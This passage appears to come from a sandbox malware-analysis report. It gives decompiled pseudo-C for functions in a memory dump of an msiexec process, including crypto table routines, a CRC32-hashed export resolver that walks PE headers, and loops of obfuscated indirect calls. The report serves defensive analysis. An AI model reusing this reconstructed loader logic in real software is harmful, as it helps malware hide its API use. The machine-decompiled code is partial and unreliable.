				_t221 = ( *(0x39bd30 + _t386 * 4) & 0x0000ff00 ^  *(0x39c160 + _t386 * 4) & 0x00ff0000 ^  *(0x39c560 + (_t462 >> 0x18) * 4) & 0xff000000 ^  *(0x39cd60 + _t386 * 4) & 0x000000ff ^  *(_t432 + 0xc)) & 0xff00ff00 | ( *(0x39bd30 + _t386 * 4) & 0x0000ff00 ^  *(0x39c160 + _t386 * 4) & 0x00ff0000 ^  *(0x39c560 + (_t462 >> 0x18) * 4) & 0xff000000 ^  *(0x39cd60 + _t386 * 4) & 0x000000ff ^  *(_t432 + 0xc)) & 0x00ff00ff;
				_t414[3] = _t221;
				return _t221;
			}

0x00389e80
0x00389e85
0x00389e9b
0x00389ea5
0x00389eb4
0x00389eb8
0x00389eed
0x00389ef3
0x00389ef6
0x00389efe
0x00389f0c
0x00389f12
0x00389f15
0x00389f1d
0x00389f32
0x00389f3a
0x00389f46
0x00389f7a
0x00389f8f
0x00389f93
0x00389f9a
0x00389f9e
0x00389fa5
0x00389fac
0x00389fc8
0x00389fcc
0x00389fd3
0x00389fd7
0x00389fde
0x00389fef
0x00389ff7
0x0038a015
0x0038a01b
0x0038a01e
0x0038a022
0x0038a030
0x0038a030
0x0038a03c
0x0038a03f
0x0038a063
0x0038a07c
0x0038a09f
0x0038a0b8
0x0038a0be
0x0038a0c5
0x0038a0c9
0x0038a0dd
0x0038a0fd
0x0038a10b
0x0038a129
0x0038a15d
0x0038a172
0x0038a176
0x0038a17d
0x0038a181
0x0038a188
0x0038a18f
0x0038a1a4
0x0038a1ac
0x0038a1b6
0x0038a1c1
0x0038a1cd
0x0038a1d4
0x0038a1ee
0x0038a1f2
0x0038a1f6
0x0038a1f6
0x0038a1fb
0x0038a1fb
0x0038a206
0x0038a206
0x0038a209
0x0038a20e
0x0038a215
0x0038a218
0x0038a21b
0x0038a22d
0x0038a234
0x0038a245
0x0038a268
0x0038a26b
0x0038a278
0x0038a27d
0x0038a28b
0x0038a2a7
0x0038a2c6
0x0038a2c9
0x0038a2d6
0x0038a2dc
0x0038a2ea
0x0038a304
0x0038a325
0x0038a328
0x0038a33d
0x0038a37d
0x0038a380
0x0038a38b
0x0038a38d
0x0038a39c

Memory Dump Source

Source File: 00000005.00000002.16953235081.0000000000380000.00000040.sdmp, Offset: 00380000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_380000_msiexec.jbxd

Function 00397EC0, Relevance: .2, Instructions: 224
Crypto

C-Code - Quality: 64%

			E00397EC0(void* __ecx, long long __rbx, void* __rdx, long long __rsi, void* __r9, long long __r12) {
				intOrPtr _t55;
				intOrPtr _t68;
				intOrPtr _t73;
				intOrPtr _t96;
				long long* _t130;
				long long _t132;
				long long _t152;
				long long _t153;
				long long _t201;
				long long _t204;
				long long _t206;
				long long _t210;
				void* _t215;
				void* _t216;
				long long _t225;
				long long* _t228;

				_t225 = __r12;
				 *((long long*)(_t215 + 0x20)) = __rbx;
				_t216 = _t215 - 0x1a0;
				r14d = __ecx;
				r8d = 0x138;
				E00385A30();
				 *((long long*)(_t216 + 0x30)) =  *((intOrPtr*)(_t216 + 0x1f0));
				 *((long long*)(_t216 + 0x28)) =  *((intOrPtr*)(_t216 + 0x1e8));
				 *((long long*)(_t216 + 0x20)) =  *((intOrPtr*)(_t216 + 0x1e0));
				_t55 =  *0x003928E0();
				if(_t55 != 0) {
					 *((long long*)(_t216 + 0x1c0)) = _t210;
					 *((long long*)(_t216 + 0x1c8)) = __rsi;
					_t206 =  *((intOrPtr*)(_t216 + 0x1f8));
					 *((long long*)(_t216 + 0x1d0)) = __r12;
					r12d = 0;
					_t96 = r12d;
					 *((intOrPtr*)(_t216 + 0x70)) = r12d;
					L2:
					L2:
					if(_t206 == 0) {
						 *0x4bebcc89();
						 *0x4bebcc89();
						 *0x00398290();
						 *0x00399910();
						 *0x00393560();
						r8d = 0;
						_t130 = 0x392d10;
						 *0x7752b34c();
					} else {
						_t130 = 0x392d30;
						 *0xFFFFFFFFF4789E4A();
						_t206 = _t225;
					}
					if(_t96 == 0) {
						r9d = 0;
						_t130 =  *0x00384923 + 0x194349;
						 *((intOrPtr*)(_t216 + 0x28)) = 1;
						 *((long long*)(_t216 + 0x20)) = _t225;
						 *_t130();
					}
					 *((intOrPtr*)(_t216 + 0x70)) = r12d;
					if(r14d == 0) {
						goto L9;
					}
					_t130 =  *0x00382A3A - 0x4acdf8f6;
					 *_t130();
					_t96 = _t96 + 1;
					if(_t96 < 6) {
						goto L2;
					}
					L9:
					 *((long long*)(_t216 + 0x50)) = _t225;
					 *0xFFFFFFFFFA3F64D3();
					 *((long long*)(_t216 + 0x40)) = _t225;
					 *((long long*)(_t216 + 0x38)) = _t216 + 0x50;
					_t132 =  *0x00383A6A - 0x28ddcfb6;
					 *((long long*)(_t216 + 0x30)) = _t225;
					r9d = 0;
					 *((intOrPtr*)(_t216 + 0x28)) = 0x102;
					r8d = 0;
					 *((intOrPtr*)(_t216 + 0x20)) = r12d;
					dil =  *_t132() == 0;
					if(_t130 != 0) {
						_t132 = 0x3943d0;
						 *0x70dd6da9();
					}
					if(dil != 0) {
						 *0x00394260();
						_t201 = _t132;
						 *((long long*)(0x394260))();
						_t152 = _t132;
						 *((long long*)(0x394260))();
						_t228 =  *0x003839B3 - 0x5dd8db43;
						_t68 =  *0xFFFFFFFF8F5DACF1();
						r9d = 1;
						 *((intOrPtr*)(_t216 + 0x28)) = _t68;
						r8d = 0;
						 *((long long*)(_t216 + 0x20)) = _t152;
						 *_t228();
						if(_t132 != 0) {
							_t132 = 0x3943d0;
							 *((long long*)(0x3943d0))();
						}
						if(_t152 != 0) {
							_t132 = 0x3943d0;
							 *((long long*)(0x3943d0))();
						}
						if(_t201 != 0) {
							_t132 = 0x3943d0;
							 *((long long*)(0x3943d0))();
						}
						 *((long long*)(0x394260))();
						_t153 = _t132;
						 *((long long*)(0x394260))();
						_t204 = _t132;
						 *((long long*)(0x394260))();
						_t73 =  *0x00390BE0();
						r9d = 1;
						 *((intOrPtr*)(_t216 + 0x28)) = _t73;
						r8d = 0;
						 *((long long*)(_t216 + 0x20)) = _t204;
						 *_t228();
						if(_t132 != 0) {
							 *((long long*)(0x3943d0))();
						}
						if(_t204 != 0) {
							 *((long long*)(0x3943d0))();
						}
						if(_t153 != 0) {
							 *((long long*)(0x3943d0))();
						}
						 *((long long*)( *0x00383AC3 - 0x61b81266))();
					}
					 *0x00393570();
					_t55 = 1;
				}
				return _t55;
			}

0x00397ec0
0x00397ec0
0x00397eca
0x00397ed7
0x00397edc
0x00397eea
0x00397efe
0x00397f17
0x00397f2d
0x00397f32
0x00397f37
0x00397f3d
0x00397f4d
0x00397f55
0x00397f5d
0x00397f65
0x00397f68
0x00397f6b
0x00000000
0x00397f70
0x00397f78
0x00397fa7
0x00397fb3
0x00397fbf
0x00397fd6
0x00397fef
0x00397ff8
0x00397ffb
0x00398009
0x00397f7a
0x00397f84
0x00397f8d
0x00397f8f
0x00397f8f
0x0039800d
0x00398016
0x00398021
0x00398027
0x00398033
0x00398038
0x00398038
0x0039803a
0x00398042
0x00000000
0x00000000
0x00398050
0x00398056
0x00398058
0x0039805d
0x00000000
0x00000000
0x00398063
0x0039806a
0x00398084
0x0039808a
0x0039809b
0x003980a0
0x003980a6
0x003980ab
0x003980ae
0x003980b6
0x003980bc
0x003980d3
0x003980da
0x003980e2
0x003980e8
0x003980e8
0x003980ed
0x00398104
0x0039810a
0x0039810d
0x00398117
0x00398121
0x0039813f
0x00398146
0x0039814e
0x00398154
0x00398158
0x0039815e
0x00398163
0x00398169
0x00398171
0x00398177
0x00398177
0x0039817c
0x00398184
0x0039818a
0x0039818a
0x0039818f
0x00398197
0x0039819d
0x0039819d
0x003981b0
0x003981b6
0x003981b9
0x003981c3
0x003981cd
0x003981d6
0x003981de
0x003981e4
0x003981e8
0x003981ee
0x003981f3
0x003981f9
0x00398207
0x00398207
0x0039820c
0x0039821a
0x0039821a
0x0039821f
0x0039822b
0x0039822b
0x00398240
0x00398240
0x00398255
0x0039825f
0x0039826c
0x00398288

Memory Dump Source

Source File: 00000005.00000002.16953235081.0000000000380000.00000040.sdmp, Offset: 00380000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_380000_msiexec.jbxd

Function 00393560, Relevance: .2, Instructions: 219
Crypto

C-Code - Quality: 78%

			E00393560(void* __rcx, void* __rdx, short* __r8, long long __r13) {
				void* _t75;
				void* _t78;
				signed int _t81;
				intOrPtr _t92;
				signed long long _t109;
				signed long long _t116;
				signed long long _t120;
				long long _t129;
				short* _t131;
				short* _t132;
				long long _t134;
				long long* _t165;
				void* _t168;
				void* _t171;
				long long _t173;
				void* _t177;
				void* _t186;
				void* _t187;
				void* _t195;
				short* _t201;
				long long _t203;

				_t203 = __r13;
				_t134 =  *((intOrPtr*)(__rcx + 0x130));
				 *((long long*)(_t186 + 8)) = _t134;
				_push(_t173);
				_t187 = _t186 - 0x260;
				_t109 = 0;
				 *(_t187 + 0x2b8) = 0x4000;
				_t201 = __r8;
				 *((long long*)(_t187 + 0x50)) = _t173;
				 *((intOrPtr*)(_t187 + 0x40)) = 0xffffffff;
				_t129 = _t134;
				_t116 = _t187 + 0x50;
				 *(_t187 + 0x20) = _t116;
				r8d = 0;
				_t75 =  *0xFFFFFFFFE82A14BD();
				if(_t75 != 5) {
					L9:
					if(_t75 == 0) {
						 *((long long*)(_t187 + 0x2a8)) = _t203;
						 *0xFFFFFFFFA74AC893();
						_t120 = 0x38ff30;
						_t165 = 0x385da0;
						 *((long long*)(_t187 + 0x48)) = 0xffffffffc60ac685;
						 *((long long*)(_t187 + 0x58)) = 0x53da696f;
						asm("o16 nop [eax+eax]");
						while(1) {
							r8d =  *(_t187 + 0x2b8);
							 *_t120();
							_t195 = _t187 + 0x2b8;
							_t78 =  *_t165();
							if(_t78 != 0) {
								break;
							}
							r15d = _t109;
							_t120 =  *((intOrPtr*)(_t187 + 0x48));
							if( *((intOrPtr*)(_t187 + 0x40)) > _t78) {
								do {
									_t177 = (_t120 + _t120 * 2 << 4) + 0x38fcb0;
									if( *((intOrPtr*)(_t177 + 8)) == 3) {
										if(_t201 != 0) {
											_t131 = _t201;
											 *0xFFFFFFFFFCCD4FA4();
											_t168 = _t201 + 2 + _t120 * 2;
											if( *_t201 != 0) {
												asm("o16 nop [eax+eax]");
												while(1) {
													r9d = 0;
													if( *0x00385D50() == 0) {
														goto L23;
													}
													 *0x00390C00();
													_t120 = _t120 + 1;
													_t131 = _t168 + _t120 * 2;
													 *((long long*)(0x390c00))();
													_t56 = _t120 + 1; // 0x1
													_t168 = _t131 + _t56 * 2;
													if( *_t131 != 0) {
														continue;
													}
													goto L23;
												}
											}
											L23:
											_t129 =  *((intOrPtr*)(_t187 + 0x2a0));
										}
										r9d = 0;
										 *((long long*)(_t187 + 0x30)) = _t129;
										_t120 = 0x393ba0;
										 *((long long*)(_t187 + 0x28)) = 0x420f08b9;
										 *(_t187 + 0x20) = 0;
										_t64 = _t195 + 1; // 0x1
										r8d = _t64;
										 *0x0038F350();
									}
									if(( *(_t177 + 0xc) & 0x00000002) != 0) {
										_t120 = 0x393eb0;
										 *0xFFFFFFFFF52404C3();
									}
									r15d = r15d + 1;
								} while (r15d <  *((intOrPtr*)(_t187 + 0x40)));
								_t120 =  *((intOrPtr*)(_t187 + 0x48));
								_t109 = 0;
								_t165 =  *((intOrPtr*)(_t187 + 0x58));
							}
						}
						if(0x38fcb0 != 0) {
							 *0x0038FE30();
						}
						_t81 = 0 |  *0x00385CA0() == 0x00000000;
					} else {
						goto L10;
					}
				} else {
					if(__r8 == 0) {
						L10:
						_t92 =  *((long long*)( *0x00382B93 + 0x30712b))();
						 *((intOrPtr*)(_t187 + 0x48)) = _t92;
						if(_t92 == 0x4b8) {
							r8d = 0x100;
							E00385A30();
							r8d = 0x100;
							E00385A30();
							 *(_t187 + 0x20) = 0x100;
							r8d = 0x100;
							 *0x09B7598D();
						}
						goto L12;
					} else {
						_t132 = __r8;
						 *0xFFFFFFFFAAA89FC2();
						_t171 = __r8 + 2 + _t116 * 2;
						if( *__r8 == 0) {
							L12:
							_t81 = 0;
						} else {
							while(1) {
								r9d = 0;
								if( *((long long*)(0x385d50))() == 0) {
									break;
								}
								 *((long long*)(0x390c00))();
								_t116 = _t116 + 1;
								_t132 = _t171 + _t116 * 2;
								 *((long long*)(0x390c00))();
								_t18 = _t116 + 1; // 0x1
								_t171 = _t132 + _t18 * 2;
								if( *_t132 != 0) {
									continue;
								} else {
									_t81 = 0;
								}
								goto L32;
							}
							r8d = 0;
							 *(_t187 + 0x20) = _t187 + 0x50;
							_t75 =  *0x00385C50();
							_t129 =  *((intOrPtr*)(_t187 + 0x2a0));
							_t109 = 0;
							goto L9;
						}
					}
				}
				L32:
				return _t81;
			}

0x00393560
0x00393560
0x00393eb0
0x00393eb7
0x00393ebf
0x00393ec6
0x00393ec8
0x00393ed3
0x00393ed6
0x00393ede
0x00393ee6
0x00393ee9
0x00393ef1
0x00393efd
0x00393f0d
0x00393f13
0x00393fbc
0x00393fbe
0x0039404b
0x00394058
0x0039406b
0x00394071
0x00394078
0x0039407d
0x00394086
0x00394090
0x00394090
0x0039409d
0x003940a4
0x003940b4
0x003940b8
0x00000000
0x00000000
0x003940c2
0x003940c5
0x003940ca
0x003940d0
0x003940db
0x003940e2
0x003940eb
0x003940fe
0x00394101
0x0039410e
0x00394112
0x00394126
0x00394130
0x00394130
0x00394141
0x00000000
0x00000000
0x00394146
0x00394148
0x0039414b
0x00394152
0x00394158
0x0039415c
0x00394160
0x00000000
0x00000000
0x00000000
0x00394160
0x00394130
0x00394162
0x00394162
0x00394162
0x00394175
0x00394178
0x0039417d
0x0039418a
0x0039419d
0x003941a6
0x003941a6
0x003941aa
0x003941aa
0x003941b5
0x003941c1
0x003941cd
0x003941cd
0x003941cf
0x003941d2
0x003941dd
0x003941e2
0x003941e4
0x003941e4
0x003940ca
0x003941f1
0x00394204
0x00394204
0x0039422a
0x00000000
0x00000000
0x00000000
0x00393f19
0x00393f1c
0x00393fc0
0x00393fcd
0x00393fcf
0x00393fd8
0x00393fe4
0x00393fea
0x00393ff6
0x00393ffc
0x00394008
0x0039401b
0x0039402e
0x0039402e
0x00000000
0x00393f22
0x00393f33
0x00393f36
0x00393f43
0x00393f47
0x00394030
0x00394030
0x00393f4d
0x00393f60
0x00393f60
0x00393f70
0x00000000
0x00000000
0x00393f75
0x00393f77
0x00393f7a
0x00393f81
0x00393f87
0x00393f8b
0x00393f8f
0x00000000
0x00393f91
0x00393f91
0x00393f91
0x00000000
0x00393f8f
0x00393f98
0x00393fa3
0x00393faf
0x00393fb2
0x00393fba
0x00000000
0x00393fba
0x00393f47
0x00393f1c
0x0039422d
0x0039423e

Memory Dump Source

Source File: 00000005.00000002.16953235081.0000000000380000.00000040.sdmp, Offset: 00380000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_380000_msiexec.jbxd

Function 003921B0, Relevance: .2, Instructions: 169
Crypto

C-Code - Quality: 25%

			E003921B0(long long __rbx, signed long long __rcx, unsigned int __rdx, long long __rdi, signed long long __rsi, signed int __r9, signed int _a8, signed int _a16, signed int _a24, long long _a32) {
				long long _v16;
				long long _v24;
				signed char _v152;
				long long _v168;
				signed long long _v176;
				signed char* _v184;
				signed int _t52;
				signed int _t53;
				signed int _t59;
				signed int _t61;
				void* _t64;
				signed int _t65;
				signed int _t74;
				signed short _t75;
				signed int _t76;
				long long _t83;
				signed long long _t85;
				intOrPtr _t87;
				signed long long _t89;
				signed long long _t90;
				signed long long _t92;
				signed char* _t94;
				signed long long _t95;
				signed int* _t96;
				signed char* _t100;
				signed long long _t101;
				signed char* _t105;
				signed char* _t106;
				signed long long _t108;
				char* _t110;
				signed long long _t111;
				signed int _t117;
				void* _t118;

				_t117 = __r9;
				_t108 = __rsi;
				_t101 = __rdx;
				_t95 = __rcx;
				_a24 = r8d;
				_a16 = __rdx;
				_t111 = __rcx;
				if(__rcx != 0) {
					__eflags =  *__rcx - 0x5a4d;
					if( *__rcx != 0x5a4d) {
						goto L1;
					} else {
						_t83 =  *((intOrPtr*)(__rcx + 0x3c)) + 0x18 + __rcx;
						_v168 = _t83;
						_t52 =  *(_t83 + 0x70);
						__eflags = _t52;
						if(_t52 == 0) {
							goto L1;
						} else {
							_a32 = __rbx;
							_v16 = __rsi;
							_t76 = 0;
							_v24 = __rdi;
							_t105 = _t83 + __rcx;
							_v184 = _t105;
							_t85 = __rdx >> 0x10;
							__eflags = _t52;
							if(_t52 != 0) {
								__eflags = r9b & 0x00000001;
								if((r9b & 0x00000001) == 0) {
									_t100 = __rdx;
									do {
										_t59 =  *_t100 & 0x000000ff;
										_t100 =  &(_t100[1]);
										__eflags = _t59;
									} while (_t59 != 0);
									__eflags = _t64 - r8d;
									_t95 = __rdx;
									_t52 = E0038D4F0(__rbx, __rdx, __rdx, __rdx);
									_a16 = _t52;
								}
								r10d = _t105[0x18];
								_a8 = r10d;
								__eflags = r10d;
								if(r10d != 0) {
									_t118 = 0x3a3120;
									_v176 = _t95;
									asm("o16 nop [eax+eax]");
									do {
										_t95 = _t95 + _t85 * 4;
										_t75 =  *(_t95 + _t111);
										_t105 =  &(_t105[_t111]);
										__eflags = _t105;
										_t94 = _t105;
										do {
											_t52 =  *_t94 & 0x000000ff;
											_t94 =  &(_t94[1]);
											__eflags = _t52;
										} while (_t52 != 0);
										__eflags =  *0x3a3114 - _t52; // 0x1
										if(__eflags == 0) {
											_t52 = E0038D440();
											r10d = _a8;
											_t118 = 0x3a3120;
										}
										r8d = r8d | 0xffffffff;
										_t61 = _t61 - _t75 - 1;
										__eflags = _t61;
										r9d = _t61;
										if(_t61 != 0) {
											do {
												_t105 =  &(_t105[1]);
												_t95 = _t95 ^ _t85;
												_t52 = r8d >> 8;
												r8d =  *(_t118 + _t101 * 4);
												r8d = r8d ^ _t52;
												_t117 = _t117 - 1;
												__eflags = _t117;
											} while (_t117 != 0);
										}
										r8d =  !r8d;
										__eflags = _a16 - r8d;
										if(_a16 == r8d) {
											_t106 = _v184;
											__eflags = 0;
											_t52 =  *(_t95 + _t111) & 0x0000ffff;
											goto L36;
										} else {
											goto L20;
										}
										goto L23;
										L20:
										_t95 = _v176;
										_t76 = _t76 + 1;
										__eflags = _t76 - r10d;
									} while (_t76 < r10d);
									__eflags = 0;
								}
								goto L22;
							} else {
								_t52 = (r8w & 0xffffffff) - _t105[0x10];
								L36:
								__eflags = _t52 - 0xffffffff;
								if(_t52 == 0xffffffff) {
									L22:
									_t106 = _v184;
									_t92 = _t108;
								} else {
									_t92 =  &(_t94[_t111]);
								}
								goto L23;
							}
							L23:
							__eflags = _t92 - _t106;
							if(_t92 >= _t106) {
								_t87 = _v168;
								_t52 =  *(_t87 + 0x74);
								__eflags = _t92 - _t87 + _t106;
								if(_t92 < _t87 + _t106) {
									_t53 =  *_t92 & 0x000000ff;
									_t32 =  &_v152; // 0x9b102e5d
									_t96 = _t32;
									__eflags = _t53;
									if(_t53 != 0) {
										asm("o16 nop [eax+eax]");
										do {
											_t92 = _t92 + 1;
											 *_t96 = _t53;
											_t96 =  &(_t96[0]);
											_t53 =  *_t92 & 0x000000ff;
											__eflags = _t53;
										} while (_t53 != 0);
									}
									_t52 =  *_t92 & 0x000000ff;
									_t92 = _t108;
									 *_t96 = _t52;
									_t33 =  &_v152; // 0x9b102e5d
									_t89 = _t33;
									_t65 = _v152 & 0x000000ff;
									while(1) {
										__eflags = _t65 - 0x2e;
										if(_t65 == 0x2e) {
											break;
										}
										_t65 =  *(_t89 + 1) & 0x000000ff;
										_t89 = _t89 + 1;
										__eflags = _t65;
										if(_t65 != 0) {
											continue;
										}
										break;
									}
									__eflags =  *_t89 - 0x2e;
									_t110 =  ==  ? _t89 : _t108;
									__eflags = _t110;
									if(_t110 != 0) {
										_t74 = _a24;
										 *_t110 = 0;
										_t90 = _t89 ^  *0x3a3540;
										r8d = 0;
										_t52 =  *_t90();
										__eflags = _t90;
										if(_t90 != 0) {
											_t38 = _t110 + 1; // 0x1
											r9d = 0;
											__eflags = r9d;
											r8d = _t74;
											_t52 = E003921B0(_t92, _t90, _t38, _t106, _t110, _t117);
											_t92 = _t90;
										}
									}
								}
							}
							return _t52;
						}
					}
				} else {
					L1:
					return 0;
				}
			}

0x003921b0
0x003921b0
0x003921b0
0x003921b0
0x003921b0
0x003921b5
0x003921c5
0x003921cb
0x003921dd
0x003921e0
0x00000000
0x003921e2
0x003921ea
0x003921ed
0x003921f2
0x003921f5
0x003921f7
0x00000000
0x003921f9
0x003921f9
0x00392201
0x00392209
0x0039220b
0x00392213
0x0039221a
0x0039221f
0x00392223
0x00392226
0x00392234
0x00392238
0x0039223a
0x00392240
0x00392240
0x00392243
0x00392246
0x00392246
0x0039224a
0x00392250
0x00392253
0x00392258
0x00392258
0x0039225f
0x00392263
0x0039226b
0x0039226e
0x00392277
0x0039227e
0x00392287
0x00392290
0x00392292
0x00392296
0x00392299
0x00392299
0x0039229c
0x003922a0
0x003922a0
0x003922a3
0x003922a6
0x003922a6
0x003922aa
0x003922b0
0x003922b2
0x003922b7
0x003922bf
0x003922bf
0x003922c6
0x003922cc
0x003922cc
0x003922cf
0x003922d2
0x003922e0
0x003922e3
0x003922ea
0x003922f0
0x003922f6
0x003922fa
0x003922fd
0x003922fd
0x003922fd
0x003922e0
0x00392303
0x00392306
0x0039230e
0x003923fa
0x00392405
0x00392407
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00392314
0x00392314
0x00392319
0x0039231b
0x0039231b
0x00392324
0x00392324
0x00000000
0x00392228
0x0039222c
0x0039240b
0x0039240b
0x0039240e
0x00392326
0x00392326
0x0039232b
0x00392414
0x00392420
0x00392420
0x00000000
0x0039240e
0x0039232e
0x0039232e
0x00392331
0x00392337
0x0039233c
0x00392342
0x00392345
0x0039234b
0x0039234e
0x0039234e
0x00392353
0x00392355
0x00392357
0x00392360
0x00392360
0x00392363
0x00392365
0x00392368
0x0039236b
0x0039236b
0x00392360
0x0039236f
0x00392372
0x00392375
0x00392377
0x00392377
0x0039237c
0x00392381
0x00392381
0x00392384
0x00000000
0x00000000
0x00392386
0x0039238a
0x0039238d
0x0039238f
0x00000000
0x00000000
0x00000000
0x0039238f
0x00392391
0x00392394
0x00392398
0x0039239b
0x0039239d
0x003923ab
0x003923ae
0x003923b5
0x003923ba
0x003923bc
0x003923bf
0x003923c1
0x003923c5
0x003923c5
0x003923c8
0x003923ce
0x003923d3
0x003923d3
0x003923bf
0x0039239b
0x00392345
0x003923f9
0x003923f9
0x003921f7
0x003921cd
0x003921cd
0x003921d7
0x003921d7

Memory Dump Source

Source File: 00000005.00000002.16953235081.0000000000380000.00000040.sdmp, Offset: 00380000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_380000_msiexec.jbxd

Function 0038A3A0, Relevance: .1, Instructions: 134
Crypto

C-Code - Quality: 100%

			E0038A3A0(signed long long __rcx, signed long long __rdx, long long __rdi, long long __rsi, void* __r8, void* __r10, long long __r14, long long __r15) {
				void* _t118;
				signed int _t120;
				intOrPtr _t151;
				intOrPtr _t162;
				unsigned long long _t174;
				unsigned long long _t175;
				void* _t178;
				void* _t179;
				signed long long _t180;
				signed long long _t181;
				long long _t182;
				long long _t186;
				long long _t190;
				void* _t194;
				void* _t197;
				signed long long _t198;
				void* _t199;
				void* _t202;
				long long _t203;

				_t203 = __r14;
				_t199 = __r10;
				_t186 = __rsi;
				_t182 = __rdi;
				_t181 = __rdx;
				_t180 = __rcx;
				_t179 = __r8;
				_t174 = 0x3898a0;
				_t118 =  *0xFFFFFFFFD2A70ADF();
				if(_t118 >= 0) {
					r10d = 0;
					_t120 =  *(__r8 + 0xf0) << 2;
					 *((long long*)(_t194 + 0x20)) = __r15;
					_t198 = _t120;
					if(_t120 <= 0) {
						L4:
						r15d = 1;
						if( *((intOrPtr*)(_t179 + 0xf0)) <= r15d) {
							L8:
							return 0;
						}
						 *((long long*)(_t194 + 0x40)) = _t190;
						 *((long long*)(_t194 + 0x48)) = _t186;
						 *((long long*)(_t194 + 0x50)) = _t182;
						 *((long long*)(_t194 + 0x28)) = _t203;
						_t202 = _t179 + 2;
						do {
							r8d =  *(_t202 + 0xe);
							_t202 = _t202 + 0x10;
							r15d = r15d + 1;
							r9d =  *(_t202 + 2);
							_t175 = _t174 >> 0x18;
							 *(_t202 - 2) =  *(0x39a2c1 + _t180 * 4) ^  *(0x3946d4 + _t175 * 4) ^  *(0xb172893 + _t180 * 4) ^  *(0x39a1c2 + _t180 * 4);
							r8d =  *(0xb172893 + _t181 * 4);
							r8d = r8d ^  *(0x39a2c1 + _t180 * 4);
							r9d =  *(_t202 + 6);
							r8d = r8d ^  *(0x3946d4 + _t180 * 4);
							r8d = r8d ^  *(0x39a1c2 + _t180 * 4);
							 *(_t202 + 2) = r8d;
							r8d =  *(0xb172893 + _t181 * 4);
							r8d = r8d ^  *(0x39a2c1 + _t180 * 4);
							r9d =  *(_t202 + 0xa);
							r8d = r8d ^  *(0x3946d4 + _t180 * 4);
							r8d = r8d ^  *(0x39a1c2 + _t180 * 4);
							 *(_t202 + 6) = r8d;
							r8d =  *(0xb172893 + _t181 * 4);
							_t174 = _t175 >> 0x18 >> 0x18 >> 0x18;
							r8d = r8d ^  *(0x39a2c1 + _t180 * 4);
							r8d = r8d ^  *(0x3946d4 + _t180 * 4);
							r8d = r8d ^  *(0x39a1c2 + _t180 * 4);
							 *(_t202 + 0xa) = r8d;
						} while (r15d <  *((intOrPtr*)(_t179 + 0xf0)));
						goto L8;
					}
					_t197 = __r8 + 8 + _t198 * 4;
					_t178 = __r8 + 8;
					do {
						_t162 =  *((intOrPtr*)(_t178 - 8));
						_t199 = _t199 + 4;
						_t151 =  *((intOrPtr*)(_t197 - 8));
						_t197 = _t197 - 0x10;
						 *((intOrPtr*)(_t178 - 8)) = _t151;
						_t178 = _t178 + 0x10;
						_t198 = _t198 - 4;
						 *((intOrPtr*)(_t197 + 8)) = _t162;
						 *((intOrPtr*)(_t178 - 0x14)) =  *((intOrPtr*)(_t197 + 0xc));
						 *((intOrPtr*)(_t197 + 0xc)) =  *((intOrPtr*)(_t178 - 0x14));
						 *((intOrPtr*)(_t178 - 0x10)) =  *((intOrPtr*)(_t197 + 0x10));
						 *((intOrPtr*)(_t197 + 0x10)) =  *((intOrPtr*)(_t178 - 0x10));
						 *((intOrPtr*)(_t178 - 0xc)) =  *((intOrPtr*)(_t197 + 0x14));
						 *((intOrPtr*)(_t197 + 0x14)) =  *((intOrPtr*)(_t178 - 0xc));
					} while (_t199 < _t198);
					goto L4;
				}
				return _t118;
			}

0x0038a3a0
0x0038a3a0
0x0038a3a0
0x0038a3a0
0x0038a3a0
0x0038a3a0
0x0038a3ad
0x0038a3b0
0x0038a3b6
0x0038a3ba
0x0038a3c6
0x0038a3c9
0x0038a3cc
0x0038a3d1
0x0038a3d6
0x0038a43d
0x0038a43d
0x0038a44a
0x0038a5dc
0x00000000
0x0038a5e1
0x0038a450
0x0038a45c
0x0038a468
0x0038a474
0x0038a495
0x0038a4b0
0x0038a4b0
0x0038a4b4
0x0038a4bd
0x0038a4c0
0x0038a4cc
0x0038a4fa
0x0038a508
0x0038a518
0x0038a525
0x0038a529
0x0038a537
0x0038a53c
0x0038a54a
0x0038a55a
0x0038a567
0x0038a56b
0x0038a579
0x0038a57e
0x0038a58c
0x0038a598
0x0038a59c
0x0038a5a9
0x0038a5b2
0x0038a5b7
0x0038a5bb
0x00000000
0x0038a5d7
0x0038a3dc
0x0038a3e0
0x0038a3f0
0x0038a3f0
0x0038a3f3
0x0038a3f7
0x0038a3fb
0x0038a3ff
0x0038a402
0x0038a40a
0x0038a40e
0x0038a415
0x0038a41c
0x0038a423
0x0038a42a
0x0038a431
0x0038a434
0x0038a438
0x00000000
0x0038a3f0
0x0038a5e8

Memory Dump Source

Source File: 00000005.00000002.16953235081.0000000000380000.00000040.sdmp, Offset: 00380000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_380000_msiexec.jbxd

Function 003863C0, Relevance: .1, Instructions: 127

Memory Dump Source

Source File: 00000005.00000002.16953235081.0000000000380000.00000040.sdmp, Offset: 00380000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_380000_msiexec.jbxd

Function 0038D440, Relevance: .1, Instructions: 59
Crypto

C-Code - Quality: 100%

			E0038D440() {
				signed int _t16;
				unsigned int _t18;
				unsigned int _t19;
				unsigned int _t20;
				unsigned int _t21;
				unsigned int _t22;
				unsigned int _t23;
				unsigned int _t24;
				signed char _t32;
				signed int* _t45;

				if( *0x3a3114 == 0) {
					 *0x3a3114 = 1;
					_t45 = 0x3a3120;
					_t32 = 0;
					do {
						_t18 = _t32 >> 1;
						if((_t32 & 0x00000001) != 0) {
							_t18 = _t18 ^ 0xedb88320;
						}
						if((_t18 & 0x00000001) == 0) {
							_t19 = _t18 >> 1;
						} else {
							_t19 = _t18 >> 0x00000001 ^ 0xedb88320;
						}
						if((_t19 & 0x00000001) == 0) {
							_t20 = _t19 >> 1;
						} else {
							_t20 = _t19 >> 0x00000001 ^ 0xedb88320;
						}
						if((_t20 & 0x00000001) == 0) {
							_t21 = _t20 >> 1;
						} else {
							_t21 = _t20 >> 0x00000001 ^ 0xedb88320;
						}
						if((_t21 & 0x00000001) == 0) {
							_t22 = _t21 >> 1;
						} else {
							_t22 = _t21 >> 0x00000001 ^ 0xedb88320;
						}
						if((_t22 & 0x00000001) == 0) {
							_t23 = _t22 >> 1;
						} else {
